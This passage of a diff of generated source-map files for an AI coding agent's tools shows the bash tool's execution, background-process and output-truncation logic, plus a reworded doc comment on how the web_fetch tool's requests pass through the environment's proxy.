} | { handle: string; kill: true },\n\t): Promise<AgentToolResult<BashToolDetails | undefined>> => {\n\t\tif (\"kill\" in handleInput && handleInput.kill) {\n\t\t\tconst status = registry.kill(handleInput.handle);\n\t\t\tif (!status) throw unknownHandleError(handleInput.handle);\n\t\t\tconst state = status.running ? \"kill signal sent\" : `already exited (code ${status.exitCode})`;\n\t\t\treturn {\n\t\t\t\tcontent: [{ type: \"text\", text: `[background] ${handleInput.handle}: ${state}` }],\n\t\t\t\tdetails: undefined,\n\t\t\t};\n\t\t}\n\t\tconst retrieved = await registry.retrieve(handleInput.handle);\n\t\tif (!retrieved) throw unknownHandleError(handleInput.handle);\n\t\tconst { status, snapshot } = retrieved;\n\t\tconst elapsed = ((Date.now() - status.startedAt) / 1000).toFixed(1);\n\t\tconst header = status.running\n\t\t\t? `[background] ${handleInput.handle}: running ${elapsed}s`\n\t\t\t: `[background] ${handleInput.handle}: ${status.killed ? \"killed\" : \"exited\"} (code ${status.exitCode}) after ${elapsed}s`;\n\t\tlet text = `${header}\\n\\n${snapshot.content || \"(no output)\"}`;\n\t\tconst truncation = snapshot.truncation;\n\t\tif (truncation.truncated && snapshot.fullOutputPath) {\n\t\t\tconst startLine = truncation.totalLines - truncation.outputLines + 1;\n\t\t\ttext += `\\n\\n[Showing lines ${startLine}-${truncation.totalLines} of ${truncation.totalLines}. Full output: ${snapshot.fullOutputPath}]`;\n\t\t}\n\t\treturn {\n\t\t\tcontent: [{ type: \"text\", text }],\n\t\t\tdetails: {\n\t\t\t\ttruncation: truncation.truncated ? truncation : undefined,\n\t\t\t\tfullOutputPath: snapshot.fullOutputPath,\n\t\t\t\texecution: { cwd, exitCode: status.exitCode ?? null },\n\t\t\t} satisfies BashToolDetails,\n\t\t};\n\t};\n\treturn {\n\t\tname: config.name,\n\t\tlabel: config.label,\n\t\tdescription: `Execute a ${config.shellName} command in the current working directory. Returns stdout and stderr. Output is truncated to last ${DEFAULT_MAX_LINES} lines or ${DEFAULT_MAX_BYTES / 1024}KB (whichever is hit first). If truncated, full output is saved to a temp file. Optionally provide a timeout in seconds.`,\n\t\tpromptSnippet: config.promptSnippet,\n\t\tpromptGuidelines: exposeSessionEnvironment && config.promptGuidelines ? [...config.promptGuidelines] : undefined,\n\t\tparameters: bashSchema,\n\t\tcontract: {\n\t\t\tcapabilities: new Set([\"exec\"]),\n\t\t\tpermission: createBashPermissionSpec(),\n\t\t\tcontext: { resultRecoverable: false, deferSchema: false },\n\t\t\tevidence: {\n\t\t\t\temits: new Set([\"command\"]),\n\t\t\t\tcapture: (params, result) => {\n\t\t\t\t\tconst execution = result.details?.execution;\n\t\t\t\t\t// Retrieve and kill calls carry a handle; resolve it back to the\n\t\t\t\t\t// command that produced the output so the record shows what ran.\n\t\t\t\t\tconst command =\n\t\t\t\t\t\t\"command\" in params ? params.command : (registry.commandFor(params.handle) ?? params.handle);\n\t\t\t\t\treturn execution ? [{ kind: \"command\", command, ...execution }] : [{ kind: \"command\", command }];\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\tconstrainedSampling: getExperimentalToolSampling(),\n\t\tasync execute(_toolCallId, input: BashToolInput, signal?: AbortSignal, onUpdate?, ctx?) {\n\t\t\tif (\"handle\" in input) {\n\t\t\t\treturn await executeHandleCall(input);\n\t\t\t}\n\t\t\tconst { command, timeout, background } = input;\n\t\t\tconst resolvedCommand = commandPrefix ? `${commandPrefix}\\n${command}` : command;\n\t\t\tconst spawnContext = resolveSpawnContext(resolvedCommand, cwd, spawnHook, exposeSessionEnvironment, ctx);\n\n\t\t\tif (background) {\n\t\t\t\tconst spawnBg = ops.spawnBackground;\n\t\t\t\tif (!spawnBg) {\n\t\t\t\t\tthrow new ToolExecutionError(\n\t\t\t\t\t\t\"This shell backend does not support background execution. Run the command in the foreground instead.\",\n\t\t\t\t\t\tundefined,\n\t\t\t\t\t);\n\t\t\t\t}\n\t\t\t\tconst output = new OutputAccumulator({ tempFilePrefix: config.tempFilePrefix });\n\t\t\t\tconst launched = await spawnBg(spawnContext.command, spawnContext.cwd, {\n\t\t\t\t\tenv: spawnContext.env,\n\t\t\t\t\tonData: (data) => output.append(data),\n\t\t\t\t});\n\t\t\t\tconst handle = registry.launch({\n\t\t\t\t\tcommand: spawnContext.command,\n\t\t\t\t\tpid: launched.pid,\n\t\t\t\t\toutput,\n\t\t\t\t\texited: launched.exited,\n\t\t\t\t});\n\t\t\t\treturn {\n\t\t\t\t\tcontent: [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\ttype: \"text\",\n\t\t\t\t\t\t\ttext: `[background] launched with handle ${handle}\\nRetrieve its output: { \"handle\": \"${handle}\" }\\nKill it: { \"handle\": \"${handle}\", \"kill\": true }`,\n\t\t\t\t\t\t},\n\t\t\t\t\t],\n\t\t\t\t\tdetails: { execution: { cwd: spawnContext.cwd, exitCode: null } },\n\t\t\t\t};\n\t\t\t}\n\n\t\t\tconst output = new OutputAccumulator({ tempFilePrefix: config.tempFilePrefix });\n\t\t\tlet acceptingOutput = true;\n\t\t\tlet updateTimer: NodeJS.Timeout | undefined;\n\t\t\tlet updateDirty = false;\n\t\t\tlet lastUpdateAt = 0;\n\n\t\t\tconst emitOutputUpdate = () => {\n\t\t\t\tif (!onUpdate || !updateDirty) return;\n\t\t\t\tupdateDirty = false;\n\t\t\t\tlastUpdateAt = Date.now();\n\t\t\t\tconst snapshot = output.snapshot({ persistIfTruncated: true });\n\t\t\t\tonUpdate({\n\t\t\t\t\tcontent: [{ type: \"text\", text: snapshot.content || \"\" }],\n\t\t\t\t\tdetails: {\n\t\t\t\t\t\ttruncation: snapshot.truncation.truncated ? snapshot.truncation : undefined,\n\t\t\t\t\t\tfullOutputPath: snapshot.fullOutputPath,\n\t\t\t\t\t},\n\t\t\t\t});\n\t\t\t};\n\n\t\t\tconst clearUpdateTimer = () => {\n\t\t\t\tif (updateTimer) {\n\t\t\t\t\tclearTimeout(updateTimer);\n\t\t\t\t\tupdateTimer = undefined;\n\t\t\t\t}\n\t\t\t};\n\n\t\t\tconst scheduleOutputUpdate = () => {\n\t\t\t\tif (!onUpdate) return;\n\t\t\t\tupdateDirty = true;\n\t\t\t\tconst delay = BASH_UPDATE_THROTTLE_MS - (Date.now() - lastUpdateAt);\n\t\t\t\tif (delay <= 0) {\n\t\t\t\t\tclearUpdateTimer();\n\t\t\t\t\temitOutputUpdate();\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\tupdateTimer ??= setTimeout(() => {\n\t\t\t\t\tupdateTimer = undefined;\n\t\t\t\t\temitOutputUpdate();\n\t\t\t\t}, delay);\n\t\t\t};\n\n\t\t\tif (onUpdate) {\n\t\t\t\tonUpdate({ content: [], details: undefined });\n\t\t\t}\n\n\t\t\tconst handleData = (data: Buffer) => {\n\t\t\t\tif (!acceptingOutput) return;\n\t\t\t\toutput.append(data);\n\t\t\t\tscheduleOutputUpdate();\n\t\t\t};\n\n\t\t\tconst finishOutput = async () => {\n\t\t\t\tacceptingOutput = false;\n\t\t\t\toutput.finish();\n\t\t\t\tclearUpdateTimer();\n\t\t\t\temitOutputUpdate();\n\t\t\t\tconst snapshot = output.snapshot({ persistIfTruncated: true });\n\t\t\t\tawait output.closeTempFile();\n\t\t\t\treturn snapshot;\n\t\t\t};\n\n\t\t\tconst formatOutput = (snapshot: Awaited<ReturnType<typeof finishOutput>>, emptyText = \"(no output)\") => {\n\t\t\t\tconst truncation = snapshot.truncation;\n\t\t\t\tlet text = snapshot.content || emptyText;\n\t\t\t\tlet details: BashToolDetails | undefined;\n\t\t\t\tif (truncation.truncated) {\n\t\t\t\t\tdetails = { truncation, fullOutputPath: snapshot.fullOutputPath };\n\t\t\t\t\tconst startLine = truncation.totalLines - truncation.outputLines + 1;\n\t\t\t\t\tconst endLine = truncation.totalLines;\n\t\t\t\t\tif (truncation.lastLinePartial) {\n\t\t\t\t\t\tconst lastLineSize = formatSize(output.getLastLineBytes());\n\t\t\t\t\t\ttext += `\\n\\n[Showing last ${formatSize(truncation.outputBytes)} of line ${endLine} (line is ${lastLineSize}). Full output: ${snapshot.fullOutputPath}]`;\n\t\t\t\t\t} else if (truncation.truncatedBy === \"lines\") {\n\t\t\t\t\t\ttext += `\\n\\n[Showing lines ${startLine}-${endLine} of ${truncation.totalLines}. Full output: ${snapshot.fullOutputPath}]`;\n\t\t\t\t\t} else {\n\t\t\t\t\t\ttext += `\\n\\n[Showing lines ${startLine}-${endLine} of ${truncation.totalLines} (${formatSize(DEFAULT_MAX_BYTES)} limit). Full output: ${snapshot.fullOutputPath}]`;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn { text, details };\n\t\t\t};\n\n\t\t\tconst appendStatus = (text: string, status: string) => `${text ? `${text}\\n\\n` : \"\"}${status}`;\n\n\t\t\ttry {\n\t\t\t\tlet exitCode: number | null;\n\t\t\t\tlet execution: BashExecutionFacts;\n\t\t\t\ttry {\n\t\t\t\t\tconst result = await ops.exec(spawnContext.command, spawnContext.cwd, {\n\t\t\t\t\t\tonData: handleData,\n\t\t\t\t\t\tsignal,\n\t\t\t\t\t\ttimeout,\n\t\t\t\t\t\tenv: spawnContext.env,\n\t\t\t\t\t});\n\t\t\t\t\texitCode = result.exitCode;\n\t\t\t\t\texecution = {\n\t\t\t\t\t\tcwd: spawnContext.cwd,\n\t\t\t\t\t\texecutable: result.executable,\n\t\t\t\t\t\targv: result.argv,\n\t\t\t\t\t\texitCode,\n\t\t\t\t\t};\n\t\t\t\t} catch (err) {\n\t\t\t\t\tconst snapshot = await finishOutput();\n\t\t\t\t\tconst { text } = formatOutput(snapshot, \"\");\n\t\t\t\t\tconst interruptedExecution: BashExecutionFacts = { cwd: spawnContext.cwd, exitCode: null };\n\t\t\t\t\tif (err instanceof Error && err.message === \"aborted\") {\n\t\t\t\t\t\tthrow new ToolExecutionError(appendStatus(text, \"Command aborted\"), {\n\t\t\t\t\t\t\texecution: interruptedExecution,\n\t\t\t\t\t\t});\n\t\t\t\t\t}\n\t\t\t\t\tif (err instanceof Error && err.message.startsWith(\"timeout:\")) {\n\t\t\t\t\t\tconst timeoutSecs = err.message.split(\":\")[1];\n\t\t\t\t\t\tthrow new ToolExecutionError(appendStatus(text, `Command timed out after ${timeoutSecs} seconds`), {\n\t\t\t\t\t\t\texecution: interruptedExecution,\n\t\t\t\t\t\t});\n\t\t\t\t\t}\n\t\t\t\t\tthrow err;\n\t\t\t\t}\n\n\t\t\t\tconst snapshot = await finishOutput();\n\t\t\t\tconst { text: outputText, details } = formatOutput(snapshot);\n\t\t\t\tconst resultDetails: BashToolDetails = { ...details, execution };\n\t\t\t\tif (exitCode !== 0 && exitCode !== null) {\n\t\t\t\t\tthrow new ToolExecutionError(appendStatus(outputText, `Command exited with code ${exitCode}`), {\n\t\t\t\t\t\texecution,\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t\treturn { content: [{ type: \"text\", text: outputText }], details: resultDetails };\n\t\t\t} finally {\n\t\t\t\tclearUpdateTimer();\n\t\t\t}\n\t\t},\n\t\trenderCall(args, _theme, context) {\n\t\t\tconst state = context.state;\n\t\t\tif (context.executionStarted && state.startedAt === undefined) {\n\t\t\t\tstate.startedAt = Date.now();\n\t\t\t\tstate.endedAt = undefined;\n\t\t\t}\n\t\t\tconst text = (context.lastComponent as Text | undefined) ?? new Text(\"\", 0, 0);\n\t\t\ttext.setText(formatShellCall(args, config.prompt));\n\t\t\treturn text;\n\t\t},\n\t\trenderResult(result, options, _theme, context) {\n\t\t\tconst state = context.state;\n\t\t\tif (state.startedAt !== undefined && options.isPartial && !state.interval) {\n\t\t\t\tstate.interval = setInterval(() => context.invalidate(), 1000);\n\t\t\t}\n\t\t\tif (!options.isPartial || context.isError) {\n\t\t\t\tstate.endedAt ??= Date.now();\n\t\t\t\tif (state.interval) {\n\t\t\t\t\tclearInterval(state.interval);\n\t\t\t\t\tstate.interval = undefined;\n\t\t\t\t}\n\t\t\t}\n\t\t\tconst component =\n\t\t\t\t(context.lastComponent as BashResultRenderComponent | undefined) ?? new BashResultRenderComponent();\n\t\t\trebuildBashResultRenderComponent(\n\t\t\t\tcomponent,\n\t\t\t\tresult as any,\n\t\t\t\toptions,\n\t\t\t\tcontext.showImages,\n\t\t\t\tstate.startedAt,\n\t\t\t\tstate.endedAt,\n\t\t\t);\n\t\t\tcomponent.invalidate();\n\t\t\treturn component;\n\t\t},\n\t};\n}\n\nconst bashToolConfig: ShellToolConfig = {\n\tname: \"bash\",\n\tlabel: \"bash\",\n\tshellName: \"bash\",\n\tprompt: \"$\",\n\tpromptSnippet: bashToolSystemPromptContribution.snippet,\n\tpromptGuidelines: bashToolSystemPromptContribution.guidelines,\n\ttempFilePrefix: \"apex-code-bash\",\n};\n\nexport function createBashToolDefinition(\n\tcwd: string,\n\toptions?: BashToolOptions,\n): ApexToolDefinition<typeof bashSchema, BashToolDetails | undefined, BashRenderState> {\n\treturn createShellToolDefinition(cwd, bashToolConfig, options);\n}\n\nexport function createBashTool(cwd: string, options?: BashToolOptions): AgentTool<typeof bashSchema> {\n\tconst definition = createBashToolDefinition(cwd, options);\n\tconst tool = wrapToolDefinition(definition);\n\tObject.assign(tool, {\n\t\tpromptSnippet: definition.promptSnippet,\n\t\tpromptGuidelines: definition.promptGuidelines,\n\t});\n\treturn tool;\n}\n"]}
@@ -1 +1 @@
1
- {"version":3,"file":"web-fetch.d.ts","sourceRoot":"","sources":["../../../src/core/tools/web-fetch.ts"],"names":[],"mappings":"AAEA,OAAO,EAAE,KAAK,MAAM,EAAE,IAAI,EAAE,MAAM,SAAS,CAAC;AAC5C,OAAO,KAAK,EAAE,kBAAkB,EAAE,MAAM,eAAe,CAAC;AAIxD,QAAA,MAAM,cAAc;;EAElB,CAAC;AAEH,MAAM,MAAM,aAAa,GAAG,MAAM,CAAC,OAAO,cAAc,CAAC,CAAC;AAE1D,MAAM,WAAW,eAAe;IAC/B,GAAG,EAAE,MAAM,CAAC;IACZ,MAAM,EAAE,MAAM,CAAC;IACf,SAAS,EAAE,OAAO,CAAC;CACnB;AAED,MAAM,WAAW,kBAAkB;IAClC,KAAK,CAAC,GAAG,EAAE,MAAM,EAAE,MAAM,CAAC,EAAE,WAAW,GAAG,OAAO,CAAC;QAAE,MAAM,EAAE,MAAM,CAAC;QAAC,IAAI,EAAE,MAAM,CAAA;KAAE,CAAC,CAAC;CACpF;AAwBD,MAAM,WAAW,mBAAmB;IACnC,UAAU,CAAC,EAAE,kBAAkB,CAAC;CAChC;AAED,wBAAgB,4BAA4B,CAC3C,OAAO,CAAC,EAAE,mBAAmB,GAC3B,kBAAkB,CAAC,OAAO,cAAc,EAAE,eAAe,CAAC,CAkC5D;AAED,wBAAgB,kBAAkB,CAAC,OAAO,CAAC,EAAE,mBAAmB;;qBAE/D","sourcesContent":["import type { AgentToolResult } from \"apex-code-agent-core\";\nimport { minimatch } from \"minimatch\";\nimport { type Static, Type } from \"typebox\";\nimport type { ApexToolDefinition } from \"./contract.ts\";\nimport { wrapToolDefinition } from \"./tool-definition-wrapper.ts\";\nimport { DEFAULT_MAX_BYTES, formatSize, truncateHead } from \"./truncate.ts\";\n\nconst webFetchSchema = Type.Object({\n\turl: Type.String({ description: \"The absolute URL to fetch (including scheme, e.g. https://).\" }),\n});\n\nexport type WebFetchInput = Static<typeof webFetchSchema>;\n\nexport interface WebFetchDetails {\n\turl: string;\n\tstatus: number;\n\ttruncated: boolean;\n}\n\nexport interface WebFetchOperations {\n\tfetch(url: string, signal?: AbortSignal): Promise<{ status: number; text: string }>;\n}\n\n/**\n * Runs in the same process as every other tool -- the sandboxed child, not the\n * supervisor. `globalThis.fetch` is undici's global fetch, made proxy-aware by\n * `configureHttpDispatcher` (an `EnvHttpProxyAgent` reading HTTP_PROXY/HTTPS_PROXY)\n * at CLI startup, including in `core/sandbox/child-entry.ts`'s sandboxed launch.\n * That is what routes an allowed host through the sandbox's allowlist proxy and\n * leaves a disallowed one with no route at all -- this tool does not implement or\n * bypass that boundary itself; it only participates in it via the ordinary fetch\n * path, deliberately never opening a raw socket that could sidestep the proxy.\n */\nconst defaultWebFetchOperations: WebFetchOperations = {\n\tasync fetch(url, signal) {\n\t\tconst response = await fetch(url, { signal });\n\t\treturn { status: response.status, text: await response.text() };\n\t},\n};\n\nfunction hostAndPath(url: string): string {\n\tconst parsed = new URL(url);\n\treturn `${parsed.hostname}${parsed.pathname}`;\n}\n\nexport interface WebFetchToolOptions {\n\toperations?: WebFetchOperations;\n}\n\nexport function createWebFetchToolDefinition(\n\toptions?: WebFetchToolOptions,\n): ApexToolDefinition<typeof webFetchSchema, WebFetchDetails> {\n\tconst ops = options?.operations ?? defaultWebFetchOperations;\n\treturn {\n\t\tname: \"web_fetch\",\n\t\tlabel: \"web_fetch\",\n\t\tdescription: \"Fetch the text contents of a URL over HTTP(S).\",\n\t\tparameters: webFetchSchema,\n\t\tcontract: {\n\t\t\tcapabilities: new Set([\"net\"]),\n\t\t\tpermission: {\n\t\t\t\tdefaultBehavior: \"ask\",\n\t\t\t\tmatches: (ruleContent, params) => minimatch(hostAndPath(params.url), ruleContent, { dot: true }),\n\t\t\t\tdescribe: (ruleContent) => `Fetch URLs matching \"${ruleContent}\"`,\n\t\t\t\truleForCall: (params) => hostAndPath(params.url),\n\t\t\t},\n\t\t\tcontext: { resultRecoverable: false, deferSchema: true },\n\t\t\tevidence: { emits: new Set(), capture: () => [] },\n\t\t},\n\t\tasync execute(\n\t\t\t_toolCallId,\n\t\t\t{ url }: WebFetchInput,\n\t\t\tsignal?: AbortSignal,\n\t\t): Promise<AgentToolResult<WebFetchDetails>> {\n\t\t\tconst { status, text } = await ops.fetch(url, signal);\n\t\t\tconst truncation = truncateHead(text, { maxBytes: DEFAULT_MAX_BYTES });\n\t\t\tconst suffix = truncation.truncated\n\t\t\t\t? `\\n\\n[truncated: showing ${formatSize(truncation.outputBytes)} of ${formatSize(truncation.totalBytes)}]`\n\t\t\t\t: \"\";\n\t\t\treturn {\n\t\t\t\tcontent: [{ type: \"text\", text: `${truncation.content}${suffix}` }],\n\t\t\t\tdetails: { url, status, truncated: truncation.truncated },\n\t\t\t};\n\t\t},\n\t};\n}\n\nexport function createWebFetchTool(options?: WebFetchToolOptions) {\n\treturn wrapToolDefinition(createWebFetchToolDefinition(options));\n}\n"]}
1
+ {"version":3,"file":"web-fetch.d.ts","sourceRoot":"","sources":["../../../src/core/tools/web-fetch.ts"],"names":[],"mappings":"AAEA,OAAO,EAAE,KAAK,MAAM,EAAE,IAAI,EAAE,MAAM,SAAS,CAAC;AAC5C,OAAO,KAAK,EAAE,kBAAkB,EAAE,MAAM,eAAe,CAAC;AAIxD,QAAA,MAAM,cAAc;;EAElB,CAAC;AAEH,MAAM,MAAM,aAAa,GAAG,MAAM,CAAC,OAAO,cAAc,CAAC,CAAC;AAE1D,MAAM,WAAW,eAAe;IAC/B,GAAG,EAAE,MAAM,CAAC;IACZ,MAAM,EAAE,MAAM,CAAC;IACf,SAAS,EAAE,OAAO,CAAC;CACnB;AAED,MAAM,WAAW,kBAAkB;IAClC,KAAK,CAAC,GAAG,EAAE,MAAM,EAAE,MAAM,CAAC,EAAE,WAAW,GAAG,OAAO,CAAC;QAAE,MAAM,EAAE,MAAM,CAAC;QAAC,IAAI,EAAE,MAAM,CAAA;KAAE,CAAC,CAAC;CACpF;AAoBD,MAAM,WAAW,mBAAmB;IACnC,UAAU,CAAC,EAAE,kBAAkB,CAAC;CAChC;AAED,wBAAgB,4BAA4B,CAC3C,OAAO,CAAC,EAAE,mBAAmB,GAC3B,kBAAkB,CAAC,OAAO,cAAc,EAAE,eAAe,CAAC,CAkC5D;AAED,wBAAgB,kBAAkB,CAAC,OAAO,CAAC,EAAE,mBAAmB;;qBAE/D","sourcesContent":["import type { AgentToolResult } from \"apex-code-agent-core\";\nimport { minimatch } from \"minimatch\";\nimport { type Static, Type } from \"typebox\";\nimport type { ApexToolDefinition } from \"./contract.ts\";\nimport { wrapToolDefinition } from \"./tool-definition-wrapper.ts\";\nimport { DEFAULT_MAX_BYTES, formatSize, truncateHead } from \"./truncate.ts\";\n\nconst webFetchSchema = Type.Object({\n\turl: Type.String({ description: \"The absolute URL to fetch (including scheme, e.g. https://).\" }),\n});\n\nexport type WebFetchInput = Static<typeof webFetchSchema>;\n\nexport interface WebFetchDetails {\n\turl: string;\n\tstatus: number;\n\ttruncated: boolean;\n}\n\nexport interface WebFetchOperations {\n\tfetch(url: string, signal?: AbortSignal): Promise<{ status: number; text: string }>;\n}\n\n/**\n * Runs in the same process as every other tool. `globalThis.fetch` is undici's global\n * fetch, made proxy-aware by `configureHttpDispatcher` (an `EnvHttpProxyAgent` reading\n * HTTP_PROXY/HTTPS_PROXY) at CLI startup. The tool deliberately never opens a raw\n * socket, so any transport policy the environment imposes still applies to it.\n */\nconst defaultWebFetchOperations: WebFetchOperations = {\n\tasync fetch(url, signal) {\n\t\tconst response = await fetch(url, { signal });\n\t\treturn { status: response.status, text: await response.text() };\n\t},\n};\n\nfunction hostAndPath(url: string): string {\n\tconst parsed = new URL(url);\n\treturn `${parsed.hostname}${parsed.pathname}`;\n}\n\nexport interface WebFetchToolOptions {\n\toperations?: WebFetchOperations;\n}\n\nexport function createWebFetchToolDefinition(\n\toptions?: WebFetchToolOptions,\n): ApexToolDefinition<typeof webFetchSchema, WebFetchDetails> {\n\tconst ops = options?.operations ?? defaultWebFetchOperations;\n\treturn {\n\t\tname: \"web_fetch\",\n\t\tlabel: \"web_fetch\",\n\t\tdescription: \"Fetch the text contents of a URL over HTTP(S).\",\n\t\tparameters: webFetchSchema,\n\t\tcontract: {\n\t\t\tcapabilities: new Set([\"net\"]),\n\t\t\tpermission: {\n\t\t\t\tdefaultBehavior: \"ask\",\n\t\t\t\tmatches: (ruleContent, params) => minimatch(hostAndPath(params.url), ruleContent, { dot: true }),\n\t\t\t\tdescribe: (ruleContent) => `Fetch URLs matching \"${ruleContent}\"`,\n\t\t\t\truleForCall: (params) => hostAndPath(params.url),\n\t\t\t},\n\t\t\tcontext: { resultRecoverable: false, deferSchema: true },\n\t\t\tevidence: { emits: new Set(), capture: () => [] },\n\t\t},\n\t\tasync execute(\n\t\t\t_toolCallId,\n\t\t\t{ url }: WebFetchInput,\n\t\t\tsignal?: AbortSignal,\n\t\t): Promise<AgentToolResult<WebFetchDetails>> {\n\t\t\tconst { status, text } = await ops.fetch(url, signal);\n\t\t\tconst truncation = truncateHead(text, { maxBytes: DEFAULT_MAX_BYTES });\n\t\t\tconst suffix = truncation.truncated\n\t\t\t\t? `\\n\\n[truncated: showing ${formatSize(truncation.outputBytes)} of ${formatSize(truncation.totalBytes)}]`\n\t\t\t\t: \"\";\n\t\t\treturn {\n\t\t\t\tcontent: [{ type: \"text\", text: `${truncation.content}${suffix}` }],\n\t\t\t\tdetails: { url, status, truncated: truncation.truncated },\n\t\t\t};\n\t\t},\n\t};\n}\n\nexport function createWebFetchTool(options?: WebFetchToolOptions) {\n\treturn wrapToolDefinition(createWebFetchToolDefinition(options));\n}\n"]}